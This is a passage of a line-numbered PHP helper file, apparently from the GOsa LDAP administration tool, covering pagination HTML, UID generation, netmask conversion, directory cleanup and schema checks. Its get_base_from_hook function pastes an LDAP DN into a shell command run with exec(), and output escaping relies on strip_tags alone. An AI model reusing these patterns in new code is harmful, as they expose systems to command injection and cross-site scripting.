1169 $res[$attrs['cn'][0]] = $attrs['cn'][0];
1170 }
1171 return $res;
1172 }
1175 function sess_del ($var)
1176 {
1177 /* New style */
1178 unset ($_SESSION[$var]);
1180 /* ... work around, since the first one
1181 doesn't seem to work all the time */
1182 session_unregister ($var);
1183 }
1186 function show_errors($message)
1187 {
1188 $complete= "";
1190 /* Assemble the message array to a plain string */
1191 foreach ($message as $error){
1192 if ($complete == ""){
1193 $complete= $error;
1194 } else {
1195 $complete= "$error<br>$complete";
1196 }
1197 }
1199 /* Fill ERROR variable with nice error dialog */
1200 print_red($complete);
1201 }
1204 function show_ldap_error($message, $addon= "")
1205 {
1206 if (!preg_match("/Success/i", $message)){
1207 if ($addon == ""){
1208 print_red (_("LDAP error: $message"));
1209 } else {
1210 print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
1211 }
1212 return TRUE;
1213 } else {
1214 return FALSE;
1215 }
1216 }
1219 function rewrite($s)
1220 {
1221 global $REWRITE;
1223 foreach ($REWRITE as $key => $val){
1224 $s= preg_replace("/$key/", "$val", $s);
1225 }
1227 return ($s);
1228 }
1231 function dn2base($dn)
1232 {
1233 global $config;
1235 if (get_people_ou() != ""){
1236 $dn= preg_replace('/,'.get_people_ou().'/i' , ',', $dn);
1237 }
1238 if (get_groups_ou() != ""){
1239 $dn= preg_replace('/,'.get_groups_ou().'/i' , ',', $dn);
1240 }
1241 $base= preg_replace ('/^[^,]+,/i', '', $dn);
1243 return ($base);
1244 }
1248 function check_command($cmdline)
1249 {
1250 $cmd= preg_replace("/ .*$/", "", $cmdline);
1252 /* Check if command exists in filesystem */
1253 if (!file_exists($cmd)){
1254 return (FALSE);
1255 }
1257 /* Check if command is executable */
1258 if (!is_executable($cmd)){
1259 return (FALSE);
1260 }
1262 return (TRUE);
1263 }
1266 function print_header($image, $headline, $info= "")
1267 {
1268 $display= "<div class=\"plugtop\">\n";
1269 $display.= " <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\"> $headline</p>\n";
1270 $display.= "</div>\n";
1272 if ($info != ""){
1273 $display.= "<div class=\"pluginfo\">\n";
1274 $display.= "$info";
1275 $display.= "</div>\n";
1276 } else {
1277 $display.= "<div style=\"height:5px;\">\n";
1278 $display.= " ";
1279 $display.= "</div>\n";
1280 }
1281 if (isset($_SESSION['errors'])){
1282 $display.= $_SESSION['errors'];
1283 }
1285 return ($display);
1286 }
1289 function register_global($name, $object)
1290 {
1291 $_SESSION[$name]= $object;
1292 }
1295 function is_global($name)
1296 {
1297 return isset($_SESSION[$name]);
1298 }
1301 function get_global($name)
1302 {
1303 return $_SESSION[$name];
1304 }
1307 function range_selector($dcnt,$start,$range=25,$post_var=false)
1308 {
1310 /* Entries shown left and right from the selected entry */
1311 $max_entries= 10;
1313 /* Initialize and take care that max_entries is even */
1314 $output="";
1315 if ($max_entries & 1){
1316 $max_entries++;
1317 }
1319 if((!empty($post_var))&&(isset($_POST[$post_var]))){
1320 $range= $_POST[$post_var];
1321 }
1323 /* Prevent output to start or end out of range */
1324 if ($start < 0 ){
1325 $start= 0 ;
1326 }
1327 if ($start >= $dcnt){
1328 $start= $range * (int)(($dcnt / $range) + 0.5);
1329 }
1331 $numpages= (($dcnt / $range));
1332 if(((int)($numpages))!=($numpages)){
1333 $numpages = (int)$numpages + 1;
1334 }
1335 if ((((int)$numpages) <= 1 )&&(!$post_var)){
1336 return ("");
1337 }
1338 $ppage= (int)(($start / $range) + 0.5);
1341 /* Align selected page to +/- max_entries/2 */
1342 $begin= $ppage - $max_entries/2;
1343 $end= $ppage + $max_entries/2;
1345 /* Adjust begin/end, so that the selected value is somewhere in
1346 the middle and the size is max_entries if possible */
1347 if ($begin < 0){
1348 $end-= $begin + 1;
1349 $begin= 0;
1350 }
1351 if ($end > $numpages) {
1352 $end= $numpages;
1353 }
1354 if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1355 $begin= $end - $max_entries;
1356 }
1358 if($post_var){
1359 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1360 <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1361 }else{
1362 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1363 }
1365 /* Draw decrement */
1366 if ($start > 0 ) {
1367 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1368 (($start-$range))."\">".
1369 "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1370 }
1372 /* Draw pages */
1373 for ($i= $begin; $i < $end; $i++) {
1374 if ($ppage == $i){
1375 $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1376 validate($_GET['plug'])."&start=".
1377 ($i*$range)."\"> ".($i+1)." </a>";
1378 } else {
1379 $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1380 "&start=".($i*$range)."\"> ".($i+1)." </a>";
1381 }
1382 }
1384 /* Draw increment */
1385 if($start < ($dcnt-$range)) {
1386 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1387 (($start+($range)))."\">".
1388 "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1389 }
1391 if(($post_var)&&($numpages)){
1392 $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'> "._("Entries per page")." <select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1393 foreach(array(20,50,100,200,"all") as $num){
1394 if($num == "all"){
1395 $var = 10000;
1396 }else{
1397 $var = $num;
1398 }
1399 if($var == $range){
1400 $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1401 }else{
1402 $output.="\n<option value='".$var."'>".$num."</option>";
1403 }
1404 }
1405 $output.= "</select></td></tr></table></div>";
1406 }else{
1407 $output.= "</div>";
1408 }
1410 return($output);
1411 }
1414 function apply_filter()
1415 {
1416 $apply= "";
1418 $apply= ''.
1419 '<table summary="" width="100%" style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1420 '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1422 return ($apply);
1423 }
1426 function back_to_main()
1427 {
1428 $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1429 _("Back").'"></p><input type="hidden" name="ignore">';
1431 return ($string);
1432 }
1435 function normalize_netmask($netmask)
1436 {
1437 /* Check for notation of netmask */
1438 if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1439 $num= (int)($netmask);
1440 $netmask= "";
1442 for ($byte= 0; $byte<4; $byte++){
1443 $result=0;
1445 for ($i= 7; $i>=0; $i--){
1446 if ($num-- > 0){
1447 $result+= pow(2,$i);
1448 }
1449 }
1451 $netmask.= $result.".";
1452 }
1454 return (preg_replace('/\.$/', '', $netmask));
1455 }
1457 return ($netmask);
1458 }
1461 function netmask_to_bits($netmask)
1462 {
1463 list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1464 $res= 0;
1466 for ($n= 0; $n<4; $n++){
1467 $start= 255;
1468 $name= "nm$n";
1470 for ($i= 0; $i<8; $i++){
1471 if ($start == (int)($$name)){
1472 $res+= 8 - $i;
1473 break;
1474 }
1475 $start-= pow(2,$i);
1476 }
1477 }
1479 return ($res);
1480 }
1483 function recurse($rule, $variables)
1484 {
1485 $result= array();
1487 if (!count($variables)){
1488 return array($rule);
1489 }
1491 reset($variables);
1492 $key= key($variables);
1493 $val= current($variables);
1494 unset ($variables[$key]);
1496 foreach($val as $possibility){
1497 $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1498 $result= array_merge($result, recurse($nrule, $variables));
1499 }
1501 return ($result);
1502 }
1505 function expand_id($rule, $attributes)
1506 {
1507 /* Check for id rule */
1508 if(preg_match('/^id(:|#)\d+$/',$rule)){
1509 return (array("\{$rule}"));
1510 }
1512 /* Check for clean attribute */
1513 if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1514 $rule= preg_replace('/^%/', '', $rule);
1515 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1516 return (array($val));
1517 }
1519 /* Check for attribute with parameters */
1520 if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1521 $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1522 $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1523 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1524 $start= preg_replace ('/-.*$/', '', $param);
1525 $stop = preg_replace ('/^[^-]+-/', '', $param);
1527 /* Assemble results */
1528 $result= array();
1529 for ($i= $start; $i<= $stop; $i++){
1530 $result[]= substr($val, 0, $i);
1531 }
1532 return ($result);
1533 }
1535 echo "Error in idgen string: don't know how to handle rule $rule.\n";
1536 return (array($rule));
1537 }
1540 function gen_uids($rule, $attributes)
1541 {
1542 global $config;
1544 /* Search for keys and fill the variables array with all
1545 possible values for that key. */
1546 $part= "";
1547 $trigger= false;
1548 $stripped= "";
1549 $variables= array();
1551 for ($pos= 0; $pos < strlen($rule); $pos++){
1553 if ($rule[$pos] == "{" ){
1554 $trigger= true;
1555 $part= "";
1556 continue;
1557 }
1559 if ($rule[$pos] == "}" ){
1560 $variables[$pos]= expand_id($part, $attributes);
1561 $stripped.= "\{$pos}";
1562 $trigger= false;
1563 continue;
1564 }
1566 if ($trigger){
1567 $part.= $rule[$pos];
1568 } else {
1569 $stripped.= $rule[$pos];
1570 }
1571 }
1573 /* Recurse through all possible combinations */
1574 $proposed= recurse($stripped, $variables);
1576 /* Get list of used ID's */
1577 $used= array();
1578 $ldap= $config->get_ldap_link();
1579 $ldap->cd($config->current['BASE']);
1580 $ldap->search('(uid=*)');
1582 while($attrs= $ldap->fetch()){
1583 $used[]= $attrs['uid'][0];
1584 }
1586 /* Remove used uids and watch out for id tags */
1587 $ret= array();
1588 foreach($proposed as $uid){
1590 /* Check for id tag and modify uid if needed */
1591 if(preg_match('/\{id:\d+}/',$uid)){
1592 $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1594 for ($i= 0; $i < pow(10,$size); $i++){
1595 $number= sprintf("%0".$size."d", $i);
1596 $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1597 if (!in_array($res, $used)){
1598 $uid= $res;
1599 break;
1600 }
1601 }
1602 }
1604 if(preg_match('/\{id#\d+}/',$uid)){
1605 $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1607 while (true){
1608 mt_srand((double) microtime()*1000000);
1609 $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1610 $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1611 if (!in_array($res, $used)){
1612 $uid= $res;
1613 break;
1614 }
1615 }
1616 }
1618 /* Don't assign used ones */
1619 if (!in_array($uid, $used)){
1620 $ret[]= $uid;
1621 }
1622 }
1624 return(array_unique($ret));
1625 }
1628 function array_search_r($needle, $key, $haystack){
1630 foreach($haystack as $index => $value){
1631 $match= 0;
1633 if (is_array($value)){
1634 $match= array_search_r($needle, $key, $value);
1635 }
1637 if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1638 $match=1;
1639 }
1641 if ($match){
1642 return 1;
1643 }
1644 }
1646 return 0;
1647 }
1650 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1651 Need to convert... */
1652 function to_byte($value) {
1653 $value= strtolower(trim($value));
1655 if(!is_numeric(substr($value, -1))) {
1657 switch(substr($value, -1)) {
1658 case 'g':
1659 $mult= 1073741824;
1660 break;
1661 case 'm':
1662 $mult= 1048576;
1663 break;
1664 case 'k':
1665 $mult= 1024;
1666 break;
1667 }
1669 return ($mult * (int)substr($value, 0, -1));
1670 } else {
1671 return $value;
1672 }
1673 }
1676 function in_array_ics($value, $items)
1677 {
1678 if (!is_array($items)){
1679 return (FALSE);
1680 }
1682 foreach ($items as $item){
1683 if (strtolower($item) == strtolower($value)) {
1684 return (TRUE);
1685 }
1686 }
1688 return (FALSE);
1689 }
1692 function generate_alphabet($count= 10)
1693 {
1694 $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1695 $alphabet= "";
1696 $c= 0;
1698 /* Fill cells with charaters */
1699 for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1700 if ($c == 0){
1701 $alphabet.= "<tr>";
1702 }
1704 $ch = mb_substr($characters, $i, 1, "UTF8");
1705 $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1706 validate($_GET['plug'])."&search=".$ch."\"> ".$ch." </a></td>";
1708 if ($c++ == $count){
1709 $alphabet.= "</tr>";
1710 $c= 0;
1711 }
1712 }
1714 /* Fill remaining cells */
1715 while ($c++ <= $count){
1716 $alphabet.= "<td> </td>";
1717 }
1719 return ($alphabet);
1720 }
1723 function validate($string)
1724 {
1725 return (strip_tags(preg_replace('/\0/', '', $string)));
1726 }
1728 function get_gosa_version()
1729 {
1730 global $svn_revision, $svn_path;
1732 /* Extract informations */
1733 $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1735 /* Release or development? */
1736 if (preg_match('%/gosa/trunk/%', $svn_path)){
1737 return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1738 } else {
1739 $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1740 return (sprintf(_("GOsa $release"), $revision));
1741 }
1742 }
1745 function rmdirRecursive($path, $followLinks=false) {
1746 $dir= opendir($path);
1747 while($entry= readdir($dir)) {
1748 if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1749 unlink($path."/".$entry);
1750 } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1751 rmdirRecursive($path."/".$entry);
1752 }
1753 }
1754 closedir($dir);
1755 return rmdir($path);
1756 }
1758 function scan_directory($path,$sort_desc=false)
1759 {
1760 $ret = false;
1762 /* is this a dir ? */
1763 if(is_dir($path)) {
1765 /* is this path a readable one */
1766 if(is_readable($path)){
1768 /* Get contents and write it into an array */
1769 $ret = array();
1771 $dir = opendir($path);
1773 /* Is this a correct result ?*/
1774 if($dir){
1775 while($fp = readdir($dir))
1776 $ret[]= $fp;
1777 }
1778 }
1779 }
1780 /* Sort array ascending , like scandir */
1781 sort($ret);
1783 /* Sort descending if parameter is sort_desc is set */
1784 if($sort_desc) {
1785 $ret = array_reverse($ret);
1786 }
1788 return($ret);
1789 }
1791 function clean_smarty_compile_dir($directory)
1792 {
1793 global $svn_revision;
1795 if(is_dir($directory) && is_readable($directory)) {
1796 // Set revision filename to REVISION
1797 $revision_file= $directory."/REVISION";
1799 /* Is there a stamp containing the current revision? */
1800 if(!file_exists($revision_file)) {
1801 // create revision file
1802 create_revision($revision_file, $svn_revision);
1803 } else {
1804 # check for "$config->...['CONFIG']/revision" and the
1805 # contents should match the revision number
1806 if(!compare_revision($revision_file, $svn_revision)){
1807 // If revision differs, clean compile directory
1808 foreach(scan_directory($directory) as $file) {
1809 if(($file==".")||($file=="..")) continue;
1810 if( is_file($directory."/".$file) &&
1811 is_writable($directory."/".$file)) {
1812 // delete file
1813 if(!unlink($directory."/".$file)) {
1814 print_red("File ".$directory."/".$file." could not be deleted.");
1815 // This should never be reached
1816 }
1817 } elseif(is_dir($directory."/".$file) &&
1818 is_writable($directory."/".$file)) {
1819 // Just recursively delete it
1820 rmdirRecursive($directory."/".$file);
1821 }
1822 }
1823 // We should now create a fresh revision file
1824 clean_smarty_compile_dir($directory);
1825 } else {
1826 // Revision matches, nothing to do
1827 }
1828 }
1829 } else {
1830 // Smarty compile dir is not accessible
1831 // (Smarty will warn about this)
1832 }
1833 }
1835 function create_revision($revision_file, $revision)
1836 {
1837 $result= false;
1839 if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1840 if($fh= fopen($revision_file, "w")) {
1841 if(fwrite($fh, $revision)) {
1842 $result= true;
1843 }
1844 }
1845 fclose($fh);
1846 } else {
1847 print_red("Can not write to revision file");
1848 }
1850 return $result;
1851 }
1853 function compare_revision($revision_file, $revision)
1854 {
1855 // false means revision differs
1856 $result= false;
1858 if(file_exists($revision_file) && is_readable($revision_file)) {
1859 // Open file
1860 if($fh= fopen($revision_file, "r")) {
1861 // Compare File contents with current revision
1862 if($revision == fread($fh, filesize($revision_file))) {
1863 $result= true;
1864 }
1865 } else {
1866 print_red("Can not open revision file");
1867 }
1868 // Close file
1869 fclose($fh);
1870 }
1872 return $result;
1873 }
1875 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
1876 {
1877 $str = ""; // Our return value will be saved in this var
1879 $color = dechex($percentage+150);
1880 $color2 = dechex(150 - $percentage);
1881 $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
1883 $progress = (int)(($percentage /100)*$width);
1885 /* Abort printing out percentage, if divs are to small */
1888 /* If theres a better solution for this, use it... */
1889 $str = "
1890 <div style=\" width:".($width)."px;
1891 height:".($height)."px;
1892 background-color:#000000;
1893 padding:1px;\">
1895 <div style=\" width:".($width)."px;
1896 background-color:#$bgcolor;
1897 height:".($height)."px;\">
1899 <div style=\" width:".$progress."px;
1900 height:".$height."px;
1901 background-color:#".$color2.$color2.$color."; \">";
1904 if(($height >10)&&($showvalue)){
1905 $str.= "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
1906 <b>".$percentage."%</b>
1907 </font>";
1908 }
1910 $str.= "</div></div></div>";
1912 return($str);
1913 }
1916 function array_key_ics($ikey, $items)
1917 {
1918 /* Gather keys, make them lowercase */
1919 $tmp= array();
1920 foreach ($items as $key => $value){
1921 $tmp[strtolower($key)]= $key;
1922 }
1924 if (isset($tmp[strtolower($ikey)])){
1925 return($tmp[strtolower($ikey)]);
1926 }
1928 return ("");
1929 }
1932 function search_config($arr, $name, $return)
1933 {
1934 if (is_array($arr)){
1935 foreach ($arr as $a){
1936 if (isset($a['CLASS']) &&
1937 strtolower($a['CLASS']) == strtolower($name)){
1939 if (isset($a[$return])){
1940 return ($a[$return]);
1941 } else {
1942 return ("");
1943 }
1944 } else {
1945 $res= search_config ($a, $name, $return);
1946 if ($res != ""){
1947 return $res;
1948 }
1949 }
1950 }
1951 }
1952 return ("");
1953 }
1956 function array_differs($src, $dst)
1957 {
1958 /* If the count is differing, the arrays differ */
1959 if (count ($src) != count ($dst)){
1960 return (TRUE);
1961 }
1963 /* So the count is the same - lets check the contents */
1964 $differs= FALSE;
1965 foreach($src as $value){
1966 if (!in_array($value, $dst)){
1967 $differs= TRUE;
1968 }
1969 }
1971 return ($differs);
1972 }
1975 function saveFilter($a_filter, $values)
1976 {
1977 if (isset($_POST['regexit'])){
1978 $a_filter["regex"]= $_POST['regexit'];
1980 foreach($values as $type){
1981 if (isset($_POST[$type])) {
1982 $a_filter[$type]= "checked";
1983 } else {
1984 $a_filter[$type]= "";
1985 }
1986 }
1987 }
1989 /* React on alphabet links if needed */
1990 if (isset($_GET['search'])){
1991 $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
1992 if ($s == "**"){
1993 $s= "*";
1994 }
1995 $a_filter['regex']= $s;
1996 }
1998 return ($a_filter);
1999 }
2002 /* Escape all preg_* relevant characters */
2003 function normalizePreg($input)
2004 {
2005 return (addcslashes($input, '[]()|/.*+-'));
2006 }
2009 /* Escape all LDAP filter relevant characters */
2010 function normalizeLdap($input)
2011 {
2012 return (addcslashes($input, '()|'));
2013 }
2016 /* Resturns the difference between to microtime() results in float */
2017 function get_MicroTimeDiff($start , $stop)
2018 {
2019 $a = split("\ ",$start);
2020 $b = split("\ ",$stop);
2022 $secs = $b[1] - $a[1];
2023 $msecs= $b[0] - $a[0];
2025 $ret = (float) ($secs+ $msecs);
2026 return($ret);
2027 }
2030 /* Check if the given department name is valid */
2031 function is_department_name_reserved($name,$base)
2032 {
2033 $reservedName = array("systems","apps","incomming","internal","accounts","fax","addressbook",
2034 preg_replace("/ou=(.*),/","\\1",get_people_ou()),
2035 preg_replace("/ou=(.*),/","\\1",get_groups_ou()));
2036 $follwedNames['/ou=fai,ou=configs,ou=systems,/'] = array("fai","hooks","templates","scripts","disk","packages","variables","profiles");
2038 /* Check if name is one of the reserved names */
2039 if(in_array_ics($name,$reservedName)) {
2040 return(true);
2041 }
2043 /* Check all follow combinations if name is in array && parent base == array_key, return false*/
2044 foreach($follwedNames as $key => $names){
2045 if((in_array_ics($name,$names)) && (preg_match($key,$base))){
2046 return(true);
2047 }
2048 }
2049 return(false);
2050 }
2053 function get_base_dir()
2054 {
2055 global $BASE_DIR;
2057 return $BASE_DIR;
2058 }
2061 function obj_is_readable($dn, $object, $attribute)
2062 {
2063 global $ui;
2065 return preg_match('/r/', $ui->get_permissions($dn, $object, $attribute));
2066 }
2069 function obj_is_writable($dn, $object, $attribute)
2070 {
2071 global $ui;
2073 return preg_match('/w/', $ui->get_permissions($dn, $object, $attribute));
2074 }
2077 function gosa_ldap_explode_dn($dn,$config = NULL,$verify_in_ldap=false)
2078 {
2079 /* Initialize variables */
2080 $ret = array("count" => 0); // Set count to 0
2081 $next = true; // if false, then skip next loops and return
2082 $cnt = 0; // Current number of loops
2083 $max = 100; // Just for security, prevent looops
2084 $ldap = NULL; // To check if created result a valid
2085 $keep = ""; // save last failed parse string
2087 /* Check each parsed dn in ldap ? */
2088 if($config!=NULL && $verify_in_ldap){
2089 $ldap = $config->get_ldap_link();
2090 }
2092 /* Lets start */
2093 $called = false;
2094 while(preg_match("/,/",$dn) && $next && $cnt < $max){
2096 $cnt ++;
2097 if(!preg_match("/,/",$dn)){
2098 $next = false;
2099 }
2100 $object = preg_replace("/[,].*$/","",$dn);
2101 $dn = preg_replace("/^[^,]+,/","",$dn);
2103 $called = true;
2105 /* Check if current dn is valid */
2106 if($ldap!=NULL){
2107 $ldap->cd($dn);
2108 $ldap->cat($dn,array("dn"));
2109 if($ldap->count()){
2110 $ret[] = $keep.$object;
2111 $keep = "";
2112 }else{
2113 $keep .= $object.",";
2114 }
2115 }else{
2116 $ret[] = $keep.$object;
2117 $keep = "";
2118 }
2119 }
2121 /* No dn was posted */
2122 if($cnt == 0 && !empty($dn)){
2123 $ret[] = $dn;
2124 }
2126 /* Append the rest */
2127 $test = $keep.$dn;
2128 if($called && !empty($test)){
2129 $ret[] = $keep.$dn;
2130 }
2131 $ret['count'] = count($ret) - 1;
2133 return($ret);
2134 }
2136 function is_php4()
2137 {
2138 if (isset($_SESSION['PHP4COMPATIBLE'])){
2139 return true;
2140 }
2141 return (preg_match('/^4/', phpversion()));
2142 }
2144 /* Add "str_split" if this function is missing.
2145 * This function is only available in PHP5
2146 */
2147 if(!function_exists("str_split")){
2148 function str_split($str,$length =1)
2149 {
2150 if($length < 1 ) $length =1;
2152 $ret = array();
2153 for($i = 0 ; $i < strlen($str); $i = $i +$length){
2154 $ret[] = substr($str,$i ,$length);
2155 }
2156 return($ret);
2157 }
2158 }
2161 function get_base_from_hook($dn, $attrib)
2162 {
2163 global $config;
2165 if (isset($config->current['BASE_HOOK'])){
2167 /* Call hook script - if present */
2168 $command= $config->current['BASE_HOOK'];
2170 if ($command != ""){
2171 $command.= " '$dn' $attrib";
2172 if (check_command($command)){
2173 @DEBUG (DEBUG_SHELL, __LINE__, __FUNCTION__, __FILE__, $command, "Execute");
2174 exec($command, $output);
2175 if (preg_match("/^[0-9]+$/", $output[0])){
2176 return ($output[0]);
2177 } else {
2178 print_red(_("Warning - base_hook is not available. Using default base."));
2179 return ($config->current['UIDBASE']);
2180 }
2181 } else {
2182 print_red(_("Warning - base_hook is not available. Using default base."));
2183 return ($config->current['UIDBASE']);
2184 }
2186 } else {
2188 print_red(_("Warning - no base_hook defined. Using default base."));
2189 return ($config->current['UIDBASE']);
2191 }
2192 }
2193 }
2195 /* Schema validation functions */
2197 function check_schema_version($class, $version)
2198 {
2199 return preg_match("/\(v$version\)/", $class['DESC']);
2200 }
2202 function check_schema($cfg,$rfc2307bis = FALSE)
2203 {
2204 $messages= array();
2206 /* Get objectclasses */
2207 $ldap = new LDAP($cfg['admin'],$cfg['password'],$cfg['connection'] ,FALSE,$cfg['tls']);
2208 $objectclasses = $ldap->get_objectclasses();
2209 if(count($objectclasses) == 0){
2210 print_red(_("Can't get schema information from server. No schema check possible!"));
2211 }
2213 /* This is the default block used for each entry.
2214 * to avoid unset indexes.
2215 */
2216 $def_check = array("REQUIRED_VERSION" => "0",
2217 "SCHEMA_FILES" => array(),
2218 "CLASSES_REQUIRED" => array(),
2219 "STATUS" => FALSE,
2220 "IS_MUST_HAVE" => FALSE,
2221 "MSG" => "",
2222 "INFO" => "");#_("There is currently no information specified for this schema extension."));
2224 /* The gosa base schema */
2225 $checks['gosaObject'] = $def_check;
2226 $checks['gosaObject']['REQUIRED_VERSION'] = "2.4";
2227 $checks['gosaObject']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2228 $checks['gosaObject']['CLASSES_REQUIRED'] = array("gosaObject");
2229 $checks['gosaObject']['IS_MUST_HAVE'] = TRUE;
2231 /* GOsa Account class */
2232 $checks["gosaAccount"]["REQUIRED_VERSION"]= "2.4";
2233 $checks["gosaAccount"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
2234 $checks["gosaAccount"]["CLASSES_REQUIRED"]= array("gosaAccount");
2235 $checks["gosaAccount"]["IS_MUST_HAVE"] = TRUE;
2236 $checks["gosaAccount"]["INFO"] = _("Used to store account specific informations.");
2238 /* GOsa lock entry, used to mark currently edited objects as 'in use' */
2239 $checks["gosaLockEntry"]["REQUIRED_VERSION"] = "2.4";
2240 $checks["gosaLockEntry"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
2241 $checks["gosaLockEntry"]["CLASSES_REQUIRED"] = array("gosaLockEntry");
2242 $checks["gosaLockEntry"]["IS_MUST_HAVE"] = TRUE;
2243 $checks["gosaLockEntry"]["INFO"] = _("Used to lock currently edited entries to avoid multiple changes at the same time.");
2245 /* Some other checks */
2246 foreach(array(
2247 "gosaCacheEntry" => array("version" => "2.4"),
2248 "gosaDepartment" => array("version" => "2.4"),
2249 "goFaxAccount" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2250 "goFaxSBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2251 "goFaxRBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2252 "gosaUserTemplate" => array("version" => "2.4", "class" => "posixAccount","file" => "nis.schema"),
2253 "gosaMailAccount" => array("version" => "2.4", "class" => "mailAccount","file" => "gosa+samba3.schema"),
2254 "gosaProxyAccount" => array("version" => "2.4", "class" => "proxyAccount","file" => "gosa+samba3.schema"),
2255 "gosaApplication" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2256 "gosaApplicationGroup" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2257 "GOhard" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2258 "gotoTerminal" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2259 "goServer" => array("version" => "2.4","class" => "server","file" => "goserver.schema"),
2260 "goTerminalServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2261 "goShareServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2262 "goNtpServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2263 "goSyslogServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2264 "goLdapServer" => array("version" => "2.4"),
2265 "goCupsServer" => array("version" => "2.4", "class" => array("posixAccount", "terminals"),),
2266 "goImapServer" => array("version" => "2.4", "class" => array("mailAccount", "mailgroup"),"file" => "gosa+samba3. schema"),
2267 "goKrbServer" => array("version" => "2.4"),
2268 "goFaxServer" => array("version" => "2.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2269 ) as $name => $values){
2271 $checks[$name] = $def_check;
2272 if(isset($values['version'])){
2273 $checks[$name]["REQUIRED_VERSION"] = $values['version'];
2274 }
2275 if(isset($values['file'])){
2276 $checks[$name]["SCHEMA_FILES"] = array($values['file']);
2277 }
2278 $checks[$name]["CLASSES_REQUIRED"] = array($name);
2279 }
2280 foreach($checks as $name => $value){
2281 foreach($value['CLASSES_REQUIRED'] as $class){
2283 if(!isset($objectclasses[$name])){
2284 $checks[$name]['STATUS'] = FALSE;
2285 if($value['IS_MUST_HAVE']){
2286 $checks[$name]['MSG'] = sprintf(_("The required objectClass '%s' is not present in your schema setup"),$class);
2287 }else{
2288 $checks[$name]['MSG'] = sprintf(_("The optional objectClass '%s' is not present in your schema setup"),$class);
2289 }
2290 }elseif(!check_schema_version($objectclasses[$name],$value['REQUIRED_VERSION'])){
2291 $checks[$name]['STATUS'] = FALSE;
2293 if($value['IS_MUST_HAVE']){
2294 $checks[$name]['MSG'] = sprintf(_("The required objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2295 }else{
2296 $checks[$name]['MSG'] = sprintf(_("The optional objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2297 }
2298 }else{
2299 $checks[$name]['STATUS'] = TRUE;
2300 $checks[$name]['MSG'] = sprintf(_("Class(es) available"));
2301 }
2302 }
2303 }
2305 $tmp = $objectclasses;
2307 /* The gosa base schema */
2308 $checks['posixGroup'] = $def_check;
2309 $checks['posixGroup']['REQUIRED_VERSION'] = "2.4";
